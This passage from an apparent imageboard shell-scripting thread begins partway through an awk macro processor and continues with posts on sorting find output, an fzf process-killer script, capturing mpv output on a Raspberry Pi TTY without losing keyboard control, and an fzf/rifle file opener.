savebuffer = buffer; buffer = ""
while (readline() != EOF) {
if (index($0, "@") == 0) {
print $0
} else if (/^@define[ \t]/) {
dodef()
} else if (/^@default[ \t]/) {
if (!($2 in symtab))
dodef()
} else if (/^@include[ \t]/) {
if (NF != 2) error("bad include line")
dofile(dosubs($2))
} else if (/^@if[ \t]/) {
if (NF != 2) error("bad if line")
if (!($2 in symtab) || symtab[$2] == 0)
gobble()
} else if (/^@unless[ \t]/) {
if (NF != 2) error("bad unless line")
if (($2 in symtab) && symtab[$2] != 0)
gobble()
} else if (/^@fi([ \t]?|$)/) { # Could do error checking here
} else if (/^@stderr[ \t]?/) {
print substr($0, 9) | "cat 1>&2"
} else if (/^@(comment|@)[ \t]?/) {
} else if (/^@ignore[ \t]/) { # Dump input until $2
delim = $2
l = length(delim)
while (readline() != EOF)
if (substr($0, 1, l) == delim)
break
} else {
newstring = dosubs($0)
if ($0 == newstring || index(newstring, "@") == 0)
print newstring
else
buffer = newstring "\n" buffer
}
}
close(fname)
delete activefiles[fname]
file = savefile
buffer = savebuffer
}
# Put next input line into global string "buffer"
# Return "EOF" or "" (null string)
function readline( i, status) {
status = ""
if (buffer != "") {
i = index(buffer, "\n")
$0 = substr(buffer, 1, i-1)
buffer = substr(buffer, i+1)
} else {
# Hume: special case for non v10: if (file == "/dev/stdin")
if (getline <file <= 0)
status = EOF
}
# Hack: allow @Mname at start of line w/o closing @
if ($0 ~ /^@[A-Z][a-zA-Z0-9]*[ \t]*$/)
sub(/[ \t]*$/, "@")
return status
}
function gobble( ifdepth) {
ifdepth = 1
while (readline() != EOF) {
if (/^@(if|unless)[ \t]/)
ifdepth++
if (/^@fi[ \t]?/ && --ifdepth <= 0)
break
}
}
function dosubs(s, l, r, i, m) {
if (index(s, "@") == 0)
return s
l = ""# Left of current pos; ready for output
r = s# Right of current; unexamined at this time
while ((i = index(r, "@")) != 0) {
l = l substr(r, 1, i-1)
r = substr(r, i+1)# Currently scanning @
i = index(r, "@")
if (i == 0) {
l = l "@"
break
}
m = substr(r, 1, i-1)
r = substr(r, i+1)
if (m in symtab) {
r = symtab[m] r
} else {
l = l "@" m
r = "@" r
}
}
return l r
}
function dodef(fname, str, x) {
name = $2
sub(/^[ \t]*[^ \t]+[ \t]+[^ \t]+[ \t]*/, "") # OLD BUG: last * was +
str = $0
while (str ~ /\\$/) {
if (readline() == EOF)
error("EOF inside definition")
x = $0
sub(/^[ \t]+/, "", x)
str = substr(str, 1, length(str)-1) "\n" x
}
symtab[name] = str
}
BEGIN {EOF = "EOF"
if (ARGC == 1)
dofile("/dev/stdin")
else if (ARGC >= 2) {
for (i = 1; i < ARGC; i++)
dofile(ARGV[i])
} else
error("usage: m1 [fname...]")
}
null · 2025-04-21 05:37
Is there a better way to do this:
>I have multiple directories like this foo/XXX/foo.json foo/YYY/foo.json. I am in the foo directory and running the find command like this `find $PWD -type f` how do I group the results such that all of the foo.json files show up next to each other and sorted by the parent directory name?
I asked Copilot and it gave me this which was along the lines of what I was thinking of:
find "$PWD" -type f | awk -F/ '{print $(NF-2), $0}' | sort -k1,1 | cut -d' ' -f2-
It does seem to work but is there a better way than this disgusting amalgamation?
Eldon Tyrell · 2025-04-21 05:50
>>41813
find "$PWD" -iname 'foo.json' | sort Case insensitive find of all "foo.json" files in or below directory "$PWD" (then sort them, which might not be needed in some cases)
Random · 2025-04-21 05:53
>>41815
Huh, you're right, it really is that simple. Clearly the sort command is more clever than I gave it credit for. I didn't think that would work.
noma · 2025-04-21 06:19
Bash script to kill processes interactively with fzf and process preview
#!/bin/bash
kill_process() {
# Use ps to list processes, pipe to fzf with multi-select and preview
selection=$(ps -eo pid,user,cmd --sort=-pid |
fzf --multi --header="Select processes to kill (TAB to multi-select)" \
--preview 'ps -p {1} -o pid,ppid,user,%cpu,%mem,cmd' \
--preview-window=right:50% \
--height 70% --border)
if [ -n "$selection" ]; then
# Extract PIDs from selection
pids=$(echo "$selection" | awk '{print $1}')
echo "Killing processes: $pids"
echo "$pids" | xargs kill -9
if [ $? -eq 0 ]; then
echo "Processes terminated successfully"
else
echo "Error killing some processes"
fi
else
echo "No processes selected"
fi
}
kill_process
SHODAN · 2025-11-05 20:30
I have a few bash routines for use with calling mpv from a raspberry pi 3's command line for playing nonlocal media. I wanted to add some error checking and handling to them, when using streaming or web hosted content. Unfortunately, I can't figure out how to get it to work correctly. The problem is reproducible with this snippet:
local err=$(exec mpv --vo=gpu ytdl://https://archive.org/details/lain-beat-tape-vol-1-plvrmb )
The problem is that while the media plays, and while I get correct behavior regarding storing expected messages in $err, my keyboard input is not used as mpv's stdin and so I no longer have keyboard player control. Each keypress is shown on the console after mpv exits. I have tried some basic tricks with indirection and file descriptors to no avail. I would like to still have keyboard control in mpv while storing mpv's stdout in a locally bound variable. I don't like the idea of having to work with temp files. In the command line, mpv sends all of its error messages to stdout, not to stderr.
This becomes a nonissue in a DE or WM terminal, since you can just task switch to the player window. It's only a problem when running from the TTY. However, the use case is on a raspberry pi 3 with no cooling fan connected to a dumb TV, and launching a WM just to run mpv is an excess that I've never had to do before. The pi3's performance in a modern wm is not great, I would minimally need to buy a cooling fan and the great advantage of this device right now is silence.
Is there a good way to ensure that my keyboard input connects to mpv's stdin while the stdout is read into a local variable and not a tempfile? Am I going to have to set this up as a coproc receiving redirected input from the main process, even though I don't want this to be a background task?
protected · 2025-11-05 23:28
>>43457 here, adding:
The reason I don't want to use temporary files or become entangled in file descriptors is that introduces complexity without seeming to get me any closer to a solution.
The issue seems to take place as a result of any form of output assignment, rather than as a consequence of running from a subshell. So the same thing occurs when, for example,
mpv ytdl://https://archive.org/details/lain-beat-tape-vol-1-plvrmb 1>/var/tmp/mpvtemp or
exec 3>&0
exec 4>&1
local err;
mpv ytdl://https://archive.org/details/lain-beat-tape-vol-1-plvrmb 1>&4 0<&3;
read -u 4 err;
exec 4&- 3&-;
I had thought for a bit that mpv's --log-file function might offer a solution but there is no way to reduce log output to a reasonable level. I'm in the same boat as this gentleman:
https://github.com/mpv-player/mpv/issues/7774
--except that in his case, a 42-gigabyte log file was merely alarming. I use a pi3 with 64 gigabyte SD card, that would drown the entire microSD chip in far less than an hour.
Yet Another Lainon · 2025-11-06 04:00
>>43457
I don't know why MPV isn't reading from stdin properly, but regarding WM: tiling WMs are usually lightweight: i3, bspwm, ratpoison...
I currently use i3, used bspwm before and ratpoison very briefly.
I have i3 running on an old RPi3 and it seems to be able to handle it just fine. No cooling aside from a tiny heatsink that's redundant in hindsight.
Tequila · 2025-11-06 15:39
>>43459
>No cooling aside from a tiny heatsink that's redundant in hindsight.
Which CPU model? Mine's the early, heat-prone, unshielded BCM2837, well before the BCM2837B0, and the small heatsink on it is necessary just to run sway as idle.
I am also reticent as a matter of personal comfort and laziness. My existing bash functions in total exceed 2000 lines by now and are designed around the tty with minimal use of x or wayland environments via startx and cage per performance (e.g. cage for moonlight-qt or supertuxkart, startx for xpdf). I can change my ways but it would be bitterly done if due to such an unexpected technical limitation.
My current, inadequate workaround is:
local err=$(yt-dlp $addr 2>&1 -f $fmt --simulate --no-download --flat-playlist -O "%(description)0.255s" &
mpv --gpu-dumb-mode ytdl://$addr --msg-level=no --ytdl-format=$fmt;
local last=$?;
case $last in
0) #a video played and mpv exited successfully
#logfunction handles a local json and is an irrelevant WIP
logfunction $addr "- playable";;
1) # uncommon types of problem
wait;
#irrelevant function
logfunction $addr $err;;
2) # common types of problems
wait;
#irrelevant functions for sanity checking video address
logfunction $addr $err;;
3) #some videos in the playlist played but others did not
wait;
#irrelevant functions for playlist splitting etc here
logfunction $addr $err;;
4) #video played but was terminated externally.
logfunction $addr "- close enough.";;
esac;
This is an undesirable solution for many reasons, not least of which being doubling up on concurrent processes.
Cat Mother · 2026-05-12 15:34
A simple file opener that uses fzf and rifle, lets you search and open files more easily. You can add alias fo="dir/to/fo.sh 2&>/dev/null" to your rc file and run it as a command.
Usage:
fo #search the current directory fo DIR #search files under DIR bash
#!/bin/bash
# fo: instantly open any file
if [ -n "$1" ]
then
cd "$1" || exit
fi
file=$(fzf)
if [ -z "$file" ]
then
exit
fi
method=$(rifle -l "$file" | rg "xdg-open" | cut -f 1 -d ':')
rifle -p "$method" "$file"
exit